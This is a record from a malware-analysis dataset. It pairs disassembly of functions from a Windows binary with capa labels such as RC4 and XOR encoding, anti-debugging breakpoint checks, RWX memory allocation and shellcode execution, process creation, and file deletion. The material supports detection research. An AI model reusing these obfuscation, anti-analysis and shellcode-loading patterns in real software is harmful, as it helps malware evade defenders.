joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180014ba0
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov r14d, edx
mov r13, rcx
lea rcx, [0x18005c1ec]
lea rdx, [rbp + 0x41f]
call fcn.180020e40
lea rcx, [rbp - 0x60]
mov rdx, r13
mov r8, rax
call fcn.180004400
test al, al
je 0x180014cd8
lea rcx, [0x18005aa4c]
call fcn.18001cc90
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 0x1b0]
call rax
cmp rax, 0xffffffffffffffff
je 0x180014cd8
mov rdi, rax
lea rbx, [rbp + 0x1dc]
lea r15, [0x18005b8fc]
lea r12, [rbp + 0x1b0]
lea rsi, [rbp - 0x60]
mov byte [rbp + 0x427], r14b
jmp 0x180014c54
mov rcx, rsi
xor edx, edx
call fcn.180014ba0
nop dword [rax]
mov rcx, r15
call fcn.18001cc90
mov rcx, rdi
mov rdx, r12
call rax
test eax, eax
je 0x180014cc7
mov rcx, rbx
call fcn.180002d00
test al, al
jne 0x180014c40
mov rcx, rsi
mov rdx, r13
mov r8, rbx
call fcn.180004400
test al, al
je 0x180014c40
test byte [rbp + 0x1b0], 0x10
jne 0x180014c33
test r14b, r14b
je 0x180014ca9
lea r14, [rbp + 0x400]
mov rcx, r14
mov rdx, rsi
call fcn.1800440f0
mov rcx, r14
movzx r14d, byte [rbp + 0x427]
call fcn.180016c10
test r14b, r14b
je 0x180014c40
jmp 0x180014cb6
mov rcx, rsi
call fcn.18000f910
test r14b, r14b
je 0x180014c40
lea rcx, [rbp + 0x400]
call fcn.180043f80
jmp 0x180014c40
lea rcx, [0x1800598f4]
call fcn.18001cc90
mov rcx, rdi
call rax
lea rcx, [0x18005b388]
call fcn.18001cc90
mov rdi, rax
mov ecx, 0xe3b63b2d
call fcn.18002f910
mov rcx, r13
mov edx, eax
call rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1800169f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.180040ec0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
add rsp, 0x20
pop rbp
ret

Function at 0x180016c10
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
call fcn.180040ec0
mov r14, rax
lea rcx, [0x18005ad00]
call fcn.18001cc90
mov r15, rax
mov ecx, 0x23b63bad
call fcn.18002f910
mov ebx, eax
mov ecx, 0xe3b63baa
call fcn.18002f910
mov esi, eax
mov ecx, 0xe3b63bae
call fcn.18002f910
mov edi, eax
mov ecx, 0xe7b63bad
call fcn.18002f910
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x30], 0
mov rcx, r14
mov edx, ebx
mov r8d, esi
xor r9d, r9d
call r15
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180016cfc
lea rdi, [rbp - 0x18]
mov rcx, rdi
call fcn.1800425b0
mov rcx, rsi
call fcn.180007a00
mov rcx, rdi
mov rdx, rax
call fcn.180041d00
mov dword [rbp + 4], 0
mov rcx, rdi
call fcn.180041780
mov rbx, rax
mov rcx, rdi
call fcn.180040ec0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov rcx, rsi
mov rdx, rax
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x18005c0f8]
call fcn.18001cc90
mov rcx, rsi
call rax
mov rcx, rdi
call fcn.180042cc0
cmp rsi, 0xffffffffffffffff
setne al
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
Function at 0x180019680
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov edi, edx
mov rsi, rcx
mov ecx, edx
call fcn.180036960
test al, 1
je 0x1800196b9
dec edi
je 0x1800196b9
lea eax, [rdi - 1]
movzx eax, byte [rsi + rax]
mov ecx, edi
xor byte [rsi + rcx], al
mov ecx, edi
call fcn.1800287a0
mov edi, eax
test eax, eax
jne 0x1800196a0
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret

Function at 0x18001acf0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
movabs r14, 0xa4dc3869e3b63bbd
mov rcx, r14
call fcn.1800292c0
mov rcx, rsi
mov rdx, rax
call fcn.1800475d0
mov rcx, r14
call fcn.1800292c0
test rax, rax
je 0x18001ad82
xor edi, edi
lea r15, [0x18005b840]
lea r12, [0x18005ae30]
xor ebx, ebx
nop word cs:[rax + rax]
movzx r13d, byte [rdi + r15]
xor r13b, byte [rdi + r12]
mov rcx, rsi
mov edx, ebx
call fcn.1800481c0
mov byte [rax], r13b
mov ecx, 0xe3b63bac
call fcn.18002f910
add ebx, eax
movsxd rdi, ebx
mov rcx, r14
call fcn.1800292c0
cmp rax, rdi
ja 0x18001ad50
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x18001ae10
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
test r8, r8
je 0x18001aec2
mov r13, r8
mov r15d, edx
movzx ebx, byte [r8 + 0x100]
movzx r12d, byte [r8 + 0x101]
test edx, edx
je 0x18001aeb4
mov r14, rcx
xor esi, esi
nop dword [rax]
movzx ebx, bl
mov ecx, 0xe3b63bac
call fcn.18002f910
mov edi, eax
add edi, ebx
mov ecx, 0xe3b63b52
call fcn.18002f910
mov ebx, eax
and ebx, edi
movzx eax, bl
movzx ecx, byte [r13 + rax]
add r12b, cl
movzx edi, r12b
movzx edx, byte [r13 + rdi]
mov byte [r13 + rax], dl
mov byte [r13 + rdi], cl
add cl, byte [r13 + rax]
movzx eax, cl
movzx eax, byte [r13 + rax]
mov ecx, esi
xor byte [r14 + rcx], al
mov ecx, 0xe3b63bac
call fcn.18002f910
add esi, eax
cmp esi, r15d
jb 0x18001ae50
mov byte [r13 + 0x100], bl
mov byte [r13 + 0x101], r12b
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x18001b450
Capabilities:
Terminate process

Disassembly:
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
mov rcx, qword [rcx + 0x8f0]
test rcx, rcx
je 0x18001b490
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x18001b490
mov rsi, qword [rsi + 0x8f0]
mov ecx, 0xe3b6d1cd
call fcn.18002f910
mov rcx, rsi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
Function at 0x18001d0a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov dword [0x18006d8f0], ecx
mov ecx, 0xe3b63bac
call fcn.18002f910
mov dword [0x18006c588], eax
cmp eax, 0x26f
jg 0x18001d168
mov esi, eax
lea r14, [0x18006d8f0]
nop dword [rax]
mov ecx, 0xe3b63bac
call fcn.18002f910
sub esi, eax
movsxd rax, esi
mov ebx, dword [r14 + rax*4]
movsxd rsi, dword [0x18006c588]
mov ecx, 0xe3b63bac
call fcn.18002f910
cdqe
sub rsi, rax
mov esi, dword [r14 + rsi*4]
shr esi, 0x1e
mov ecx, esi
call fcn.18002e1d0
mov ecx, eax
call fcn.18002e440
mov edi, eax
or edi, esi
xor edi, ebx
xor edi, 0x2d8bbc38
mov ecx, 0x8fb1b2c8
call fcn.18002f910
imul eax, edi
movsxd rsi, dword [0x18006c588]
add eax, esi
mov dword [r14 + rsi*4], eax
mov ecx, 0x4fc88084
call fcn.18002f910
add esi, eax
add esi, 0x538144d8
mov dword [0x18006c588], esi
cmp esi, 0x270
jl 0x18001d0e0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x18001f7c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov r12, r9
mov dword [rbp - 4], r8d
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rdx
mov rcx, rdx
call fcn.180040ec0
mov r14, rax
lea rcx, [0x18005ad00]
call fcn.18001cc90
mov r13, rax
mov ecx, 0xa3b63bad
call fcn.18002f910
mov esi, eax
mov ecx, 0xe3b63bac
call fcn.18002f910
mov edi, eax
mov ecx, 0xe3b63baf
call fcn.18002f910
mov r15d, eax
mov ecx, 0xe3b63b2d
call fcn.18002f910
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x30], 0
xor ebx, ebx
mov rcx, r14
mov edx, esi
mov r8d, edi
xor r9d, r9d
call r13
cmp rax, 0xffffffffffffffff
je 0x18001f931
mov r14, rax
lea r15, [rbp - 0x30]
mov rcx, r15
call fcn.1800425b0
movabs rcx, 0xa4dc3869e3b62bad
call fcn.1800292c0
mov rcx, r15
mov rdx, rax
call fcn.1800475d0
mov dword [rbp], 0
mov dword [rbp + 4], 0
test r12, r12
je 0x18001f8b2
xor r13d, r13d
mov rcx, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, eax
call fcn.180028770
test al, 1
jne 0x18001f953
mov rcx, r15
call fcn.180041780
mov rsi, rax
mov rcx, r15
call fcn.180040ec0
mov rdi, rax
lea rcx, [0x18005c134]
call fcn.18001cc90
mov rcx, qword [rbp - 0x18]
mov rdx, rdi
mov r8d, esi
lea r9, [rbp + 4]
call rax
mov dil, 1
test eax, eax
je 0x18001f936
mov esi, dword [rbp + 4]
test esi, esi
je 0x18001f93b
mov rcx, r15
call fcn.180040ec0
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, rax
mov r8d, esi
mov r9, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18001f936
mov eax, dword [rbp + 4]
xor r13d, r13d
cmp eax, dword [rbp]
jne 0x18001f956
add ebx, eax
cmp ebx, dword [rbp - 4]
jbe 0x18001f890
jmp 0x18001f956
xor r13d, r13d
jmp 0x18001f986
xor r13d, r13d
jmp 0x18001f956
lea rcx, [0x18005bf4c]
call fcn.18001cc90
mov rcx, r14
call rax
mov r13b, 1
xor edi, edi
jmp 0x18001f956
mov dil, 1
lea rcx, [0x18005c0f8]
call fcn.18001cc90
mov rcx, r14
call rax
test dil, dil
je 0x18001f97d
mov rcx, qword [rbp - 0x10]
call fcn.180040ec0
mov rcx, rax
call fcn.18000f910
lea rcx, [rbp - 0x30]
call fcn.180042cc0
mov eax, r13d
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x180025d90
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
cmp edx, 2
jb 0x180025e0e
mov r10d, edx
movzx eax, byte [rcx]
lea r9, [r10 - 1]
add r10, 0xfffffffffffffffe
mov r8d, r9d
and r8d, 3
mov edx, 1
cmp r10, 3
jb 0x180025dec
and r9, 0xfffffffffffffffc
xor edx, edx
nop
xor al, byte [rcx + rdx + 1]
mov byte [rcx + rdx + 1], al
xor al, byte [rcx + rdx + 2]
mov byte [rcx + rdx + 2], al
xor al, byte [rcx + rdx + 3]
mov byte [rcx + rdx + 3], al
xor al, byte [rcx + rdx + 4]
mov byte [rcx + rdx + 4], al
add rdx, 4
cmp r9, rdx
jne 0x180025dc0
inc rdx
test r8, r8
je 0x180025e0e
add rcx, rdx
xor edx, edx
nop word cs:[rax + rax]
xor al, byte [rcx + rdx]
mov byte [rcx + rdx], al
inc rdx
cmp r8, rdx
jne 0x180025e00
pop rbp
ret
Function at 0x180028e10
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rsi, rcx
test rdx, rdx
je 0x180028e81
mov rdi, rdx
movzx eax, byte [0x18006b020]
xor al, byte [rsi]
mov byte [rdx], al
je 0x180028e7e
xor ebx, ebx
lea r14, [0x18006b020]
mov ecx, 0xe3b63bac
call fcn.18002f910
add ebx, eax
movsxd rax, ebx
imul rcx, rax, 0x78787879
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x23
add ecx, edx
mov edx, ecx
shl edx, 4
add edx, ecx
mov ecx, eax
sub ecx, edx
movsxd rcx, ecx
movzx ecx, byte [rcx + r14]
xor cl, byte [rsi + rax]
mov byte [rdi + rax], cl
jne 0x180028e40
mov rsi, rdi
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x18002b7d0
Capabilities:
Get file size

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov r14, rdx
mov rdi, rcx
call fcn.180040ec0
mov rbx, rax
lea rcx, [0x18005bf90]
call fcn.18001cc90
mov rcx, rbx
call rax
and eax, 0x10
mov ecx, eax
call fcn.18002e310
test al, 1
jne 0x18002b8a0
mov rcx, rdi
call fcn.180040ec0
mov r15, rax
mov ecx, 0xe3a43b24
call fcn.18002f910
mov ebx, eax
mov ecx, 0xe3b63bac
call fcn.18002f910
mov esi, eax
mov ecx, 0xe3b63bac
call fcn.18002f910
mov edi, eax
mov ecx, 0xe3b63b8d
call fcn.18002f910
mov dword [rsp + 0x20], eax
mov rcx, r15
mov edx, ebx
mov r8d, esi
mov r9d, edi
call fcn.180028140
cmp rax, 0xffffffffffffffff
je 0x18002b8a0
mov rdi, rax
lea rdx, [rbp - 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ecx, eax
call fcn.18002e310
test al, 1
je 0x18002b898
mov esi, dword [rbp - 8]
test rsi, rsi
je 0x18002b8b1
cmp dword [rbp - 4], 0
jg 0x18002b898
call fcn.180029ea0
cmp rax, rsi
jae 0x18002b8bd
mov rcx, rdi
call fcn.18000d1c0
xor ebx, ebx
mov eax, ebx
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rcx, r14
call fcn.180046810
mov bl, 1
jmp 0x18002b8a2
mov edx, dword [rbp - 8]
mov rcx, r14
call fcn.1800475d0
mov cl, 0xac
call fcn.1800086c0
mov dword [rbp + 4], 0
mov rcx, r14
call fcn.180041780
mov rsi, rax
mov rcx, r14
call fcn.180040ec0
lea rcx, [rbp + 4]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
xor edx, edx
mov r8, rax
mov r9d, esi
call fcn.18003a750
mov ebx, eax
test al, al
je 0x18002b920
mov rcx, r14
call fcn.180041780
mov ecx, dword [rbp + 4]
cmp rax, rcx
je 0x18002b920
mov rcx, r14
call fcn.180046810
mov rcx, rdi
call fcn.18000d1c0
jmp 0x18002b8a2

Function at 0x18002dc30
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov edi, edx
mov rbx, rcx
movzx eax, byte [rcx]
xor r14d, r14d
test eax, eax
je 0x18002dc5c
cmp eax, 0xcc
je 0x18002dc5c
cmp eax, 0x90
jne 0x18002dc97
cmp edi, 2
jb 0x18002dc8a
mov esi, 1
nop word cs:[rax + rax]
mov eax, esi
movzx eax, byte [rbx + rax]
cmp al, byte [rbx]
jne 0x18002dc97
mov ecx, 0xe3b63bac
call fcn.18002f910
add esi, eax
cmp esi, edi
jb 0x18002dc70
mov ecx, 0xe3b63bac
call fcn.18002f910
mov r14d, eax
mov eax, r14d
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x18002e0e0
Capabilities:
Parse pe header

Disassembly:
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea rcx, [0x18005c060]
call fcn.18001cc90
xor esi, esi
xor ecx, ecx
call rax
mov rcx, rax
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x18002e123
movsxd rax, dword [rcx + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x18002e123
mov eax, dword [rcx + rax + 0x28]
add rcx, rax
call rcx
mov rsi, rax
mov eax, esi
add rsp, 0x28
pop rsi
pop rbp
ret

Function at 0x1800363f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], r8
test rdx, rdx
je 0x180036508
mov r13, rdx
mov r12d, ecx
xor r14d, r14d
lea rsi, [rbp - 0x40]
lea rdi, [rbp - 0x28]
jmp 0x18003647e
lea rcx, [0x18005947f]
lea rdx, [rbp - 0xb]
call fcn.180028e10
mov rcx, rdi
mov rdx, rax
call fcn.180044e50
mov rcx, rsi
mov rdx, rdi
call fcn.1800470d0
mov rcx, rdi
call fcn.180043f80
mov rcx, qword [rbp]
mov rdx, rsi
call fcn.18004b760
mov rcx, rsi
call fcn.180043f80
inc r14
cmp r14, r13
je 0x180036508
mov rcx, rsi
call fcn.180049610
xor ecx, ecx
call fcn.18001cf30
test al, 1
je 0x180036430
mov r15d, 1
nop word [rax + rax]
mov eax, r12d
imul rax, rax, 0x51eb851f
shr rax, 0x23
lea eax, [rax + rax*4]
lea eax, [rax + rax*4]
mov ebx, r12d
sub ebx, eax
add bl, 0x61
mov rcx, rsi
mov edx, ebx
call fcn.18004cbc0
movzx ebx, bl
add ebx, r12d
mov r12d, ebx
shl r12d, 8
shr ebx, 0x18
mov ecx, 0x57ba08bc
call fcn.18002f910
xor r12d, eax
xor eax, 0xee
and eax, ebx
xor r12d, eax
xor r12d, 0xb40c3311
mov ecx, r15d
call fcn.18001cf30
inc r15d
test al, 1
jne 0x1800364a0
jmp 0x180036430
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1800393d0
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov r15d, dword [rbp + 0xd8]
mov r14, qword [rbp + 0xd0]
test r9, r9
je 0x180039428
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x30], 0
jmp 0x180039496
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
xor r9d, r9d
call fcn.1800230c0
test al, al
je 0x180039468
test r14, r14
je 0x180039460
mov rax, qword [rbp + 0x50]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [r14], xmm0
mov esi, dword [rbp + 0x50]
jmp 0x18003952a
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
mov qword [rbp + 0x30], 0
mov dword [rbp - 0x30], 0x68
lea r9, [rbp - 0x30]
mov word [rbp + 0x76], 0
test rsi, rsi
lea rdx, [rbp + 0x76]
cmovne rdx, rsi
lea rax, [rbp + 0x58]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 1
xor esi, esi
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18003952a
test r14, r14
je 0x1800394fe
lea rdx, [rbp + 0x58]
mov r8d, 0x18
mov rcx, r14
call fcn.18001b8b0
jmp 0x180039527
mov rsi, qword [rbp + 0x60]
lea rdi, [0x18005c0f8]
mov rcx, rdi
call fcn.18001cc90
mov rcx, rsi
call rax
mov rsi, qword [rbp + 0x58]
mov rcx, rdi
call fcn.18001cc90
mov rcx, rsi
call rax
mov esi, dword [rbp + 0x68]
mov eax, esi
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
Function at 0x18003aa50
Capabilities:
Check http status code

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
mov rbx, r9
mov r12, r8
mov r15, rdx
mov r13, rcx
mov r14d, dword [rbp + 0xe8]
mov edi, 0x8404c700
test r14b, 4
je 0x18003aa9b
mov ecx, 0xe3363bad
call fcn.18002f910
mov edi, eax
or edi, 0x8404c700
lea rcx, [0x18005c268]
lea rdx, [rbp + 0x23]
call fcn.180028e10
lea rsi, [rbp + 0x30]
mov rcx, rsi
mov rdx, rax
call fcn.180044e50
mov rcx, rsi
call fcn.180040ec0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0
lea rcx, str.zBw_
lea rdx, [rbp - 0xf]
call fcn.180028e10
mov rsi, rax
mov ecx, 0xe3b63bac
call fcn.18002f910
test eax, r14d
mov qword [rbp + 0x60], rbx
je 0x18003ab01
lea rcx, str.bYp_
lea rdx, [rbp + 0x48]
jmp 0x18003ab0c
lea rcx, [0x18005ab19]
lea rdx, [rbp + 0xc]
call fcn.180028e10
mov rbx, rax
lea rcx, [0x18005c058]
call fcn.18001cc90
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x38], 0
mov rcx, r13
mov rdx, rbx
mov r8, r15
mov r9, rsi
call rax
test rax, rax
je 0x18003acc9
mov rdi, rax
mov r15d, dword [rbp + 0xe0]
test r14b, 4
je 0x18003ac22
mov dword [rbp + 0x74], 0
mov ecx, 0xe3b63ba9
call fcn.18002f910
mov dword [rbp + 0x68], eax
lea rcx, [0x18005b640]
call fcn.18001cc90
lea r8, [rbp + 0x74]
lea r9, [rbp + 0x68]
mov rcx, rdi
mov edx, 0x1f
call rax
test eax, eax
je 0x18003ac22
mov r14d, dword [rbp + 0x74]
mov esi, r14d
not esi
mov ecx, 0xe3b7082d
call fcn.18002f910
mov ecx, eax
call fcn.18002e1d0
mov ebx, eax
mov ecx, esi
call fcn.18003a7f0
mov r12d, eax
mov esi, r14d
and esi, 0x474d81f8
mov ecx, 0x5b0445aa
call fcn.18002f910
and eax, ebx
or esi, r12d
or eax, 0x10180
xor eax, esi
not ebx
and ebx, r14d
or ebx, eax
mov dword [rbp + 0x74], ebx
lea rcx, [0x18005abc0]
call fcn.18001cc90
mov rsi, rax
mov ecx, 0xe3b63bb2
call fcn.18002f910
mov ebx, eax
mov ecx, 0xe3b63ba9
call fcn.18002f910
lea r8, [rbp + 0x74]
mov rcx, rdi
mov edx, ebx
mov r9d, eax
call rsi
lea rcx, [0x18005ad20]
lea rdx, [rbp - 0x33]
call fcn.180028e10
mov rsi, rax
lea rcx, [0x18005b764]
call fcn.18001cc90
mov dword [rsp + 0x20], r15d
mov rcx, rdi
mov rdx, rsi
mov r8d, setsockopt
mov r9, qword [rbp + 0x60]
call rax
test eax, eax
je 0x18003acb8
mov dword [rbp + 0x70], 0
mov dword [rbp + 0x6c], 4
lea rcx, [0x18005b8e0]
call fcn.18001cc90
mov rsi, rax
mov ecx, 0xc3b63bbe
call fcn.18002f910
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x70]
lea r9, [rbp + 0x6c]
mov rcx, rdi
mov edx, eax
call rsi
mov ecx, dword [rbp + 0x70]
test eax, eax
je 0x18003acaa
cmp ecx, 0xc8
je 0x18003accb
mov rax, qword [rbp + 0xf0]
test rax, rax
je 0x18003acb8
mov dword [rax], ecx
lea rcx, [0x18005b6dc]
call fcn.18001cc90
mov rcx, rdi
call rax
xor edi, edi
lea rcx, [rbp + 0x30]
call fcn.180043f80
mov rax, rdi
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x18003d6a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov r15, rcx
lea rcx, str.T__t
call fcn.18001cc90
lea rcx, [rbp - 0x38]
call rax
mov rsi, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x28]
cmp r15, 0x40000001
jb 0x18003d6fc
lea rax, [r15 - 0x40000000]
cmp rax, rsi
jbe 0x18003d6fc
movabs rcx, 0xa4dc3869a3b63bad
call fcn.1800292c0
mov rsi, r15
sub rsi, rax
mov rcx, r15
call fcn.180026670
lea rcx, [r15 + 0x40000000]
cmp rax, rdi
cmovae rcx, rdi
call fcn.1800369e0
mov rbx, rax
mov rdi, qword [0x18006ee40]
jmp 0x18003d733
mov rdi, qword [rdi]
test rdi, rdi
je 0x18003d74e
cmp rsi, rdi
ja 0x18003d730
cmp rbx, rdi
jbe 0x18003d730
cmp qword [rdi + 8], 0
je 0x18003d730
jmp 0x18003d870
mov edx, 0x1000
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
cmp rsi, r15
mov qword [rbp], rbx
ja 0x18003d817
mov r8d, dword [rbp - 0x10]
mov rcx, r15
mov rdx, rsi
call fcn.18003a510
test rax, rax
je 0x18003d817
mov rbx, rax
movabs rax, 0xa4dc3869a3b63bad
add rax, 0x3ffff000
mov qword [rbp - 8], rax
xor edi, edi
nop dword [rax + rax]
lea rcx, [0x18005c2d0]
call fcn.18001cc90
mov r13, rax
mov rcx, qword [rbp - 8]
call fcn.1800292c0
mov r12, rax
mov ecx, 0xe3b60bad
call fcn.18002f910
mov r14d, eax
mov ecx, 0xe3b63bed
call fcn.18002f910
mov rcx, rbx
mov rdx, r12
mov r8d, r14d
mov r9d, eax
call r13
test rax, rax
jne 0x18003d814
cmp rsi, rbx
ja 0x18003d817
mov r8d, dword [rbp - 0x10]
mov rcx, rbx
mov rdx, rsi
call fcn.18003a510
mov rbx, rax
test rax, rax
jne 0x18003d7b0
jmp 0x18003d817
mov rdi, rax
test rdi, rdi
mov rbx, qword [rbp]
je 0x18003d884
test rdi, rdi
je 0x18003d870
lea rbx, [rdi + 0x40]
mov qword [rdi + 8], 0
mov dword [rdi + 0x10], 0
mov esi, 0x80
nop dword [rax]
mov rax, qword [rdi + 8]
mov qword [rbx], rax
mov qword [rdi + 8], rbx
add rbx, 0x40
mov rcx, rsi
call fcn.1800291e0
add rsi, 0x40
test al, 1
jne 0x18003d840
mov rax, qword [0x18006ee40]
mov qword [rdi], rax
mov qword [0x18006ee40], rdi
mov rax, rdi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor edi, edi
lea rsi, [0x18005c2d0]
nop dword [rax]
cmp rbx, r15
jb 0x18003d820
mov r8d, dword [rbp - 0x10]
mov rcx, r15
mov rdx, rbx
call fcn.18000ddc0
test rax, rax
je 0x18003d820
mov r15, rax
mov rcx, rsi
call fcn.18001cc90
mov edx, 0x1000
mov rcx, r15
mov r8d, 0x3000
mov r9d, 0x40
call rax
test rax, rax
je 0x18003d890
mov rdi, rax
jmp 0x18003d820